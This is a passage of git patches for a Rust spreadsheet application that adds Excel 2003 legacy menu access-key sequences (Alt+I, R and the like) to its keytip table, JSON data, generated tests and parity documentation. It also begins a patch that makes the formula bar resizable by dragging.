page; New page ("FO", Entry::Finish(Action::Command("file.open"))), // Excel: Open page; fires immediately in Excel; deeper aliases dropped as unreachable ("FP", Entry::Finish(Action::Command("file.print"))), // Excel: Print page; containment(Print) - ("Q", Entry::Finish(Action::Pending("ui.search"))), // pending; Excel: Search / Tell Me; Alt+Q search box does not exist yet (issue #49) + ("IR", Entry::Finish(Action::Command("home.insertRows"))), // Excel: Insert > Rows; Legacy Excel 2003 menu path (#941). + ("IC", Entry::Finish(Action::Command("home.insertColumns"))), // Excel: Insert > Columns; Legacy Excel 2003 menu path (#941). + ("IE", Entry::Finish(Action::Dialog("insertCells"))), // Excel: Insert > Cells; Legacy Excel 2003 menu path (#941). + ("IW", Entry::Finish(Action::Command("home.insertSheet"))), // Excel: Insert > Worksheet; Legacy Excel 2003 menu path (#941). + ("IF", Entry::Finish(Action::Dialog("insertFunction"))), // Excel: Insert > Function; Legacy Excel 2003 menu path (#941). + ("IND", Entry::Finish(Action::Dialog("defineName"))), // Excel: Insert > Name > Define; Legacy Excel 2003 menu path (#941). + ("IS", Entry::Finish(Action::Command("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). + ("ED", Entry::Finish(Action::Dialog("deleteCells"))), // Excel: Edit > Delete; Legacy Excel 2003 menu path (#941). + ("EM", Entry::Finish(Action::Dialog("moveSheet"))), // Excel: Edit > Move or Copy Sheet; Legacy Excel 2003 menu path (#941). + ("EL", Entry::Finish(Action::Command("home.deleteSheet"))), // Excel: Edit > Delete Sheet; Legacy Excel 2003 menu path (#941). + ("EAA", Entry::Finish(Action::Command("edit.clearAll"))), // Excel: Edit > Clear > All; Legacy Excel 2003 menu path (#941). + ("EAC", Entry::Finish(Action::Command("edit.clearContents"))), // Excel: Edit > Clear > Contents; Legacy Excel 2003 menu path (#941). + ("EAM", Entry::Finish(Action::Command("edit.clearComments"))), // Excel: Edit > Clear > Comments; Legacy Excel 2003 menu path (#941). + ("EF", Entry::Finish(Action::Dialog("find"))), // Excel: Edit > Find; Legacy Excel 2003 menu path (#941). + ("EG", Entry::Finish(Action::Dialog("goTo"))), // Excel: Edit > Go To; Legacy Excel 2003 menu path (#941). + ("ORA", Entry::Finish(Action::Command("home.autofitRowHeight"))), // Excel: Format > Row > AutoFit; Legacy Excel 2003 menu path (#941). + ("ORE", Entry::Finish(Action::Dialog("rowHeight"))), // Excel: Format > Row > Height; Legacy Excel 2003 menu path (#941). + ("ORH", Entry::Finish(Action::Command("home.hideRows"))), // Excel: Format > Row > Hide; Legacy Excel 2003 menu path (#941). + ("ORU", Entry::Finish(Action::Command("home.unhideRows"))), // Excel: Format > Row > Unhide; Legacy Excel 2003 menu path (#941). + ("OCW", Entry::Finish(Action::Dialog("columnWidth"))), // Excel: Format > Column > Width; Legacy Excel 2003 menu path (#941). + ("OCH", Entry::Finish(Action::Command("home.hideColumns"))), // Excel: Format > Column > Hide; Legacy Excel 2003 menu path (#941). + ("OCU", Entry::Finish(Action::Command("home.unhideColumns"))), // Excel: Format > Column > Unhide; Legacy Excel 2003 menu path (#941). + ("OHR", Entry::Finish(Action::Dialog("renameSheet"))), // Excel: Format > Sheet > Rename; Legacy Excel 2003 menu path (#941). + ("OHH", Entry::Finish(Action::Command("sheet.hide"))), // Excel: Format > Sheet > Hide; Legacy Excel 2003 menu path (#941). + ("OHU", Entry::Finish(Action::Command("sheet.unhide"))), // Excel: Format > Sheet > Unhide; Legacy Excel 2003 menu path (#941). + ("OE", Entry::Finish(Action::Command("home.formatCells"))), // Excel: Format > Cells; Legacy Excel 2003 menu path (#941). + ("OD", Entry::Finish(Action::Command("home.conditionalFormat"))), // Excel: Format > Conditional Formatting; Legacy Excel 2003 menu path (#941). + ("DFF", Entry::Finish(Action::Command("data.filter"))), // Excel: Data > Filter > AutoFilter; Legacy Excel 2003 menu path (#941). + ("DS", Entry::Finish(Action::Dialog("sort"))), // Excel: Data > Sort; Legacy Excel 2003 menu path (#941). + ("DGG", Entry::Finish(Action::Command("data.group"))), // Excel: Data > Group and Outline > Group; Legacy Excel 2003 menu path (#941). + ("DGU", Entry::Finish(Action::Command("data.ungroup"))), // Excel: Data > Group and Outline > Ungroup; Legacy Excel 2003 menu path (#941). + ("DGS", Entry::Finish(Action::Command("data.showDetail"))), // Excel: Data > Group and Outline > Show Detail; Legacy Excel 2003 menu path (#941). + ("DGH", Entry::Finish(Action::Command("data.hideDetail"))), // Excel: Data > Group and Outline > Hide Detail; Legacy Excel 2003 menu path (#941). + ("DL", Entry::Finish(Action::Command("data.validation"))), // Excel: Data > Validation; Legacy Excel 2003 menu path (#941). + ("DT", Entry::Finish(Action::Command("data.dataTable"))), // Excel: Data > Table (what-if data table); Legacy Excel 2003 menu path (#941). + ("VN", Entry::Finish(Action::Command("view.normal"))), // Excel: View > Normal; Legacy Excel 2003 menu path (#941). + ("VP", Entry::Finish(Action::Command("view.pageBreakPreview"))), // Excel: View > Page Break Preview; Legacy Excel 2003 menu path (#941). + ("VZ", Entry::Finish(Action::Dialog("zoom"))), // Excel: View > Zoom; Legacy Excel 2003 menu path (#941). + ("TO", Entry::Finish(Action::Dialog("options"))), // Excel: Tools > Options; Legacy Excel 2003 menu path (#941). + ("TUA", Entry::Finish(Action::Command("formulas.removeArrows"))), // Excel: Tools > Formula Auditing > Remove All Arrows; Legacy Excel 2003 menu path (#941). + ("TUD", Entry::Finish(Action::Command("formulas.traceDependents"))), // Excel: Tools > Formula Auditing > Trace Dependents; Legacy Excel 2003 menu path (#941). + ("TUT", Entry::Finish(Action::Command("formulas.tracePrecedents"))), // Excel: Tools > Formula Auditing > Trace Precedents; Legacy Excel 2003 menu path (#941). + ("FU", Entry::Finish(Action::Dialog("pageSetup"))), // Excel: File > Page Setup; Legacy Excel 2003 menu path (#941). + ("Q", Entry::Finish(Action::Pending("ui.search"))), // pending; Excel: Search / Tell Me; Alt+Q search box does not exist yet (issue #49) ]; diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 90eab4909..5c96d1d9f 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -2582,6 +2582,307 @@ "excel": "Print page", "note": "containment(Print)" }, + { + "seq": "IR", + "kind": "command", + "target": "home.insertRows", + "excel": "Insert > Rows", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IC", + "kind": "command", + "target": "home.insertColumns", + "excel": "Insert > Columns", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IE", + "kind": "dialog", + "target": "insertCells", + "excel": "Insert > Cells", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IW", + "kind": "command", + "target": "home.insertSheet", + "excel": "Insert > Worksheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IF", + "kind": "dialog", + "target": "insertFunction", + "excel": "Insert > Function", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IND", + "kind": "dialog", + "target": "defineName", + "excel": "Insert > Name > Define", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IS", + "kind": "command", + "target": "insert.symbol", + "excel": "Insert > Symbol", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ED", + "kind": "dialog", + "target": "deleteCells", + "excel": "Edit > Delete", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EM", + "kind": "dialog", + "target": "moveSheet", + "excel": "Edit > Move or Copy Sheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EL", + "kind": "command", + "target": "home.deleteSheet", + "excel": "Edit > Delete Sheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAA", + "kind": "command", + "target": "edit.clearAll", + "excel": "Edit > Clear > All", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAC", + "kind": "command", + "target": "edit.clearContents", + "excel": "Edit > Clear > Contents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAM", + "kind": "command", + "target": "edit.clearComments", + "excel": "Edit > Clear > Comments", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EF", + "kind": "dialog", + "target": "find", + "excel": "Edit > Find", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EG", + "kind": "dialog", + "target": "goTo", + "excel": "Edit > Go To", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORA", + "kind": "command", + "target": "home.autofitRowHeight", + "excel": "Format > Row > AutoFit", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORE", + "kind": "dialog", + "target": "rowHeight", + "excel": "Format > Row > Height", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORH", + "kind": "command", + "target": "home.hideRows", + "excel": "Format > Row > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORU", + "kind": "command", + "target": "home.unhideRows", + "excel": "Format > Row > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCW", + "kind": "dialog", + "target": "columnWidth", + "excel": "Format > Column > Width", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCH", + "kind": "command", + "target": "home.hideColumns", + "excel": "Format > Column > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCU", + "kind": "command", + "target": "home.unhideColumns", + "excel": "Format > Column > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHR", + "kind": "dialog", + "target": "renameSheet", + "excel": "Format > Sheet > Rename", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHH", + "kind": "command", + "target": "sheet.hide", + "excel": "Format > Sheet > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHU", + "kind": "command", + "target": "sheet.unhide", + "excel": "Format > Sheet > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OE", + "kind": "command", + "target": "home.formatCells", + "excel": "Format > Cells", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OD", + "kind": "command", + "target": "home.conditionalFormat", + "excel": "Format > Conditional Formatting", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DFF", + "kind": "command", + "target": "data.filter", + "excel": "Data > Filter > AutoFilter", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DS", + "kind": "dialog", + "target": "sort", + "excel": "Data > Sort", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGG", + "kind": "command", + "target": "data.group", + "excel": "Data > Group and Outline > Group", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGU", + "kind": "command", + "target": "data.ungroup", + "excel": "Data > Group and Outline > Ungroup", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGS", + "kind": "command", + "target": "data.showDetail", + "excel": "Data > Group and Outline > Show Detail", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGH", + "kind": "command", + "target": "data.hideDetail", + "excel": "Data > Group and Outline > Hide Detail", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DL", + "kind": "command", + "target": "data.validation", + "excel": "Data > Validation", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DT", + "kind": "command", + "target": "data.dataTable", + "excel": "Data > Table (what-if data table)", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VN", + "kind": "command", + "target": "view.normal", + "excel": "View > Normal", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VP", + "kind": "command", + "target": "view.pageBreakPreview", + "excel": "View > Page Break Preview", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VZ", + "kind": "dialog", + "target": "zoom", + "excel": "View > Zoom", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TO", + "kind": "dialog", + "target": "options", + "excel": "Tools > Options", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUA", + "kind": "command", + "target": "formulas.removeArrows", + "excel": "Tools > Formula Auditing > Remove All Arrows", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUD", + "kind": "command", + "target": "formulas.traceDependents", + "excel": "Tools > Formula Auditing > Trace Dependents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUT", + "kind": "command", + "target": "formulas.tracePrecedents", + "excel": "Tools > Formula Auditing > Trace Precedents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "FU", + "kind": "dialog", + "target": "pageSetup", + "excel": "File > Page Setup", + "note": "Legacy Excel 2003 menu path (#941)." + }, { "seq": "Q", "kind": "command", diff --git a/crates/ui-egui/src/ribbon/controls.rs b/crates/ui-egui/src/ribbon/controls.rs index 774a2b40b..5d10e13e0 100644 --- a/crates/ui-egui/src/ribbon/controls.rs +++ b/crates/ui-egui/src/ribbon/controls.rs @@ -27,7 +27,15 @@ pub(super) fn act(app: &mut SheetApp, id: &str, params: serde_json::Value) { /// Keytips are painted, not focusable widgets: the grid retains keyboard focus. pub(super) fn keytip(app: &SheetApp, ui: &Ui, sequence: &str, at: egui::Pos2) { - let Some(rest) = app.keytips.prefix().and_then(|prefix| sequence.strip_prefix(prefix)).filter(|s| !s.is_empty()) else { return }; + let Some(rest) = app + .keytips + .prefix() + .filter(|prefix| keytip_table::paints_badges(prefix)) + .and_then(|prefix| sequence.strip_prefix(prefix)) + .filter(|s| !s.is_empty()) + else { + return; + }; let t = Tokens::get(ui.ctx()); let painter = ui.ctx().layer_painter(egui::LayerId::new(egui::Order::Tooltip, egui::Id::unique("ribbon_keytips"))).with_clip_rect(ui.clip_rect()); let text = painter.layout_no_wrap(rest.into(), theme::ui_bold(10.5), t.text); diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 3dc225a76..976e1fdbf 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -2754,6 +2754,307 @@ fn keytip_fp_() { assert!(h.state().session.journal.iter().any(|(id, _)| id == "file.print"), "FP must journal file.print"); } +#[test] +fn keytip_ir_() { + let mut h = harness(blank()); + sequence(&mut h, "IR", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertRows"), "IR must journal home.insertRows"); +} + +#[test] +fn keytip_ic_() { + let mut h = harness(blank()); + sequence(&mut h, "IC", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertColumns"), "IC must journal home.insertColumns"); +} + +#[test] +fn keytip_ie_() { + let mut h = harness(blank()); + sequence(&mut h, "IE", false); + assert!(h.state().dialog.is_some(), "IE must open the insertCells dialog"); +} + +#[test] +fn keytip_iw_() { + let mut h = harness(blank()); + sequence(&mut h, "IW", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertSheet"), "IW must journal home.insertSheet"); +} + +#[test] +fn keytip_if_() { + let mut h = harness(blank()); + sequence(&mut h, "IF", false); + assert!(h.state().dialog.is_some(), "IF must open the insertFunction dialog"); +} + +#[test] +fn keytip_ind_() { + let mut h = harness(blank()); + sequence(&mut h, "IND", false); + assert!(h.state().dialog.is_some(), "IND must open the defineName dialog"); +} + +#[test] +fn keytip_is_() { + let mut h = harness(blank()); + sequence(&mut h, "IS", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "IS must journal insert.symbol"); +} + +#[test] +fn keytip_ed_() { + let mut h = harness(blank()); + sequence(&mut h, "ED", false); + assert!(h.state().dialog.is_some(), "ED must open the deleteCells dialog"); +} + +#[test] +fn keytip_em_() { + let mut h = harness(blank()); + sequence(&mut h, "EM", false); + assert!(h.state().dialog.is_some(), "EM must open the moveSheet dialog"); +} + +#[test] +fn keytip_el_() { + let mut h = harness(blank()); + sequence(&mut h, "EL", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "EL must invoke home.deleteSheet and surface its missing-params error"); +} + +#[test] +fn keytip_eaa_() { + let mut h = harness(blank()); + sequence(&mut h, "EAA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearAll"), "EAA must journal edit.clearAll"); +} + +#[test] +fn keytip_eac_() { + let mut h = harness(blank()); + sequence(&mut h, "EAC", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearContents"), "EAC must journal edit.clearContents"); +} + +#[test] +fn keytip_eam_() { + let mut h = harness(blank()); + sequence(&mut h, "EAM", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearComments"), "EAM must journal edit.clearComments"); +} + +#[test] +fn keytip_ef_() { + let mut h = harness(blank()); + sequence(&mut h, "EF", false); + assert!(h.state().dialog.is_some(), "EF must open the find dialog"); +} + +#[test] +fn keytip_eg_() { + let mut h = harness(blank()); + sequence(&mut h, "EG", false); + assert!(h.state().dialog.is_some(), "EG must open the goTo dialog"); +} + +#[test] +fn keytip_ora_() { + let mut h = harness(blank()); + sequence(&mut h, "ORA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.autofitRowHeight"), "ORA must journal home.autofitRowHeight"); +} + +#[test] +fn keytip_ore_() { + let mut h = harness(blank()); + sequence(&mut h, "ORE", false); + assert!(h.state().dialog.is_some(), "ORE must open the rowHeight dialog"); +} + +#[test] +fn keytip_orh_() { + let mut h = harness(blank()); + sequence(&mut h, "ORH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.hideRows"), "ORH must journal home.hideRows"); +} + +#[test] +fn keytip_oru_() { + let mut h = harness(blank()); + sequence(&mut h, "ORU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.unhideRows"), "ORU must journal home.unhideRows"); +} + +#[test] +fn keytip_ocw_() { + let mut h = harness(blank()); + sequence(&mut h, "OCW", false); + assert!(h.state().dialog.is_some(), "OCW must open the columnWidth dialog"); +} + +#[test] +fn keytip_och_() { + let mut h = harness(blank()); + sequence(&mut h, "OCH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.hideColumns"), "OCH must journal home.hideColumns"); +} + +#[test] +fn keytip_ocu_() { + let mut h = harness(blank()); + sequence(&mut h, "OCU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.unhideColumns"), "OCU must journal home.unhideColumns"); +} + +#[test] +fn keytip_ohr_() { + let mut h = harness(blank()); + sequence(&mut h, "OHR", false); + assert!(h.state().dialog.is_some(), "OHR must open the renameSheet dialog"); +} + +#[test] +fn keytip_ohh_() { + let mut h = harness(blank()); + sequence(&mut h, "OHH", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "OHH must invoke sheet.hide and surface its missing-params error"); +} + +#[test] +fn keytip_ohu_() { + let mut h = harness(blank()); + sequence(&mut h, "OHU", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "OHU must invoke sheet.unhide and surface its missing-params error"); +} + +#[test] +fn keytip_oe_() { + let mut h = harness(blank()); + sequence(&mut h, "OE", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.formatCells"), "OE must journal home.formatCells"); +} + +#[test] +fn keytip_od_() { + let mut h = harness(blank()); + sequence(&mut h, "OD", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.conditionalFormat"), "OD must journal home.conditionalFormat"); +} + +#[test] +fn keytip_dff_() { + let mut h = harness(blank()); + sequence(&mut h, "DFF", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.filter"), "DFF must journal data.filter"); +} + +#[test] +fn keytip_ds_() { + let mut h = harness(blank()); + sequence(&mut h, "DS", false); + assert!(h.state().dialog.is_some(), "DS must open the sort dialog"); +} + +#[test] +fn keytip_dgg_() { + let mut h = harness(blank()); + sequence(&mut h, "DGG", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.group"), "DGG must journal data.group"); +} + +#[test] +fn keytip_dgu_() { + let mut h = harness(blank()); + sequence(&mut h, "DGU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.ungroup"), "DGU must journal data.ungroup"); +} + +#[test] +fn keytip_dgs_() { + let mut h = harness(blank()); + sequence(&mut h, "DGS", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.showDetail"), "DGS must journal data.showDetail"); +} + +#[test] +fn keytip_dgh_() { + let mut h = harness(blank()); + sequence(&mut h, "DGH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.hideDetail"), "DGH must journal data.hideDetail"); +} + +#[test] +fn keytip_dl_() { + let mut h = harness(blank()); + sequence(&mut h, "DL", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "data.validation"), "DL must journal data.validation"); +} + +#[test] +fn keytip_dt_() { + let mut h = harness(blank()); + sequence(&mut h, "DT", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "DT must invoke data.dataTable and surface its missing-params error"); +} + +#[test] +fn keytip_vn_() { + let mut h = harness(blank()); + sequence(&mut h, "VN", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "view.normal"), "VN must journal view.normal"); +} + +#[test] +fn keytip_vp_() { + let mut h = harness(blank()); + sequence(&mut h, "VP", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "view.pageBreakPreview"), "VP must journal view.pageBreakPreview"); +} + +#[test] +fn keytip_vz_() { + let mut h = harness(blank()); + sequence(&mut h, "VZ", false); + assert!(h.state().dialog.is_some(), "VZ must open the zoom dialog"); +} + +#[test] +fn keytip_to_() { + let mut h = harness(blank()); + sequence(&mut h, "TO", false); + assert!(h.state().backstage.is_some(), "TO must open the Options page"); +} + +#[test] +fn keytip_tua_() { + let mut h = harness(blank()); + sequence(&mut h, "TUA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "formulas.removeArrows"), "TUA must journal formulas.removeArrows"); +} + +#[test] +fn keytip_tud_() { + let mut h = harness(blank()); + sequence(&mut h, "TUD", false); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "TUD must run formulas.traceDependents cleanly"); +} + +#[test] +fn keytip_tut_() { + let mut h = harness(blank()); + sequence(&mut h, "TUT", false); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "TUT must run formulas.tracePrecedents cleanly"); +} + +#[test] +fn keytip_fu_() { + let mut h = harness(blank()); + sequence(&mut h, "FU", false); + assert!(h.state().dialog.is_some(), "FU must open the pageSetup dialog"); +} + #[test] fn keytip_q_() { let mut h = harness(blank()); @@ -2766,7 +3067,7 @@ fn keytip_q_() { #[test] fn generated_test_count_matches_the_table() { - const EXPECTED: usize = 367; + const EXPECTED: usize = 410; assert_eq!(gridcraft_ui_egui::keytips::keytip_table::SEQUENCES.len(), EXPECTED); } diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..3d51e0e65 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -21,7 +21,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; a function counts as recently used once its formula is entered, not when Insert Function's OK is pressed | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | -| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | +| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S), which paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | | Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Excel 2003 menu access keys: 43 legacy sequences (Insert, Edit, Format, Data, View, Tools and File ▸ Page Setup, e.g. Alt+I, R inserts rows, Alt+E, A, A clears all, Alt+D, S sorts, Alt+T, O opens Options) run the existing commands and dialogs; Alt+I, D, V and T paint no badges, as in Excel (#941, #2311) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | diff --git a/xtask/src/keytips.rs b/xtask/src/keytips.rs index 5b7137455..b662dd101 100644 --- a/xtask/src/keytips.rs +++ b/xtask/src/keytips.rs @@ -323,6 +323,11 @@ fn render_tests(entries: &[Entry], probe: &Probe) -> String { id = e.target, ), }, + // Options is a Backstage page rather than a dialog box. + "dialog" if e.target == "options" => format!( + "sequence(&mut h, {seq:?}, false);\n assert!(h.state().backstage.is_some(), \"{seq} must open the Options page\");", + seq = e.seq, + ), "dialog" => format!( "sequence(&mut h, {seq:?}, false);\n assert!(h.state().dialog.is_some(), \"{seq} must open the {dialog} dialog\");", seq = e.seq, From dea1359c7e69e975fabd6db5fc15063eb149968e Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:41:57 -0600 Subject: [PATCH 254/298] #1246: drag the formula bar's bottom edge to resize it The bottom edge of the formula bar is a resize handle: dragging it sets the height in whole lines (up to half the window; one line collapses the bar). Expanding again (the chevron, Ctrl+Shift+U) returns to the dragged height instead of a fixed five lines. The drag previews live and commits once through view.expandFormulaBar {lines}, which is also scriptable; the height is kept with the UI preferences. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/commands.rs | 15 +++- crates/ui-egui/src/control.rs | 6 +- crates/ui-egui/src/formula_bar.rs | 77 +++++++++++++++++-- crates/ui-egui/src/lib.rs | 4 + crates/ui-egui/tests/it/formula_bar_expand.rs | 65 +++++++++++++++- docs/ui-parity.md | 3 +- 6 files changed, 160 insertions(+), 10 deletions(-) diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index 86a4a6cc5..4f47cf085 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -163,8 +163,19 @@ impl SheetApp { Ok(Json::Null) } "view.expandFormulaBar" => { - self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded); - Ok(json!({"on": self.ui.formula_bar_expanded})) + // `lines` is where a drag of the bar's bottom edge left it: one line collapses it, + // more expands it to that height, which expanding returns to afterwards. + if let Some(lines) = p.get("lines").and_then(Json::as_u64) { + let lines = usize::try_from(lines).unwrap_or(usize::MAX).clamp(1, crate::formula_bar::MAX_DRAG_LINES); + self.ui.formula_bar_expanded = lines > 1; + if lines > 1 { + self.ui.formula_bar_lines = lines; + } + Ok(json!({"on": self.ui.formula_bar_expanded, "lines": self.ui.formula_bar_lines})) + } else { + self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded); + Ok(json!({"on": self.ui.formula_bar_expanded})) + } } "view.darkMode" => { let current = if self.ui.system_theme { self.effective_dark } else { self.ui.dark }; diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index 2d46b21b8..38e86f106 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -263,7 +263,11 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - ("ui.ribbonTab", "Ribbon Tab", ""), ("app.checkForUpdates", "Check for Updates…", ""), ("view.collapseRibbon", "Collapse Ribbon", ""), - ("view.expandFormulaBar", "Expand Formula Bar", "{on?: bool} (toggles without it) → {on}"), + ( + "view.expandFormulaBar", + "Expand Formula Bar", + "{on?: bool} (toggles without it) 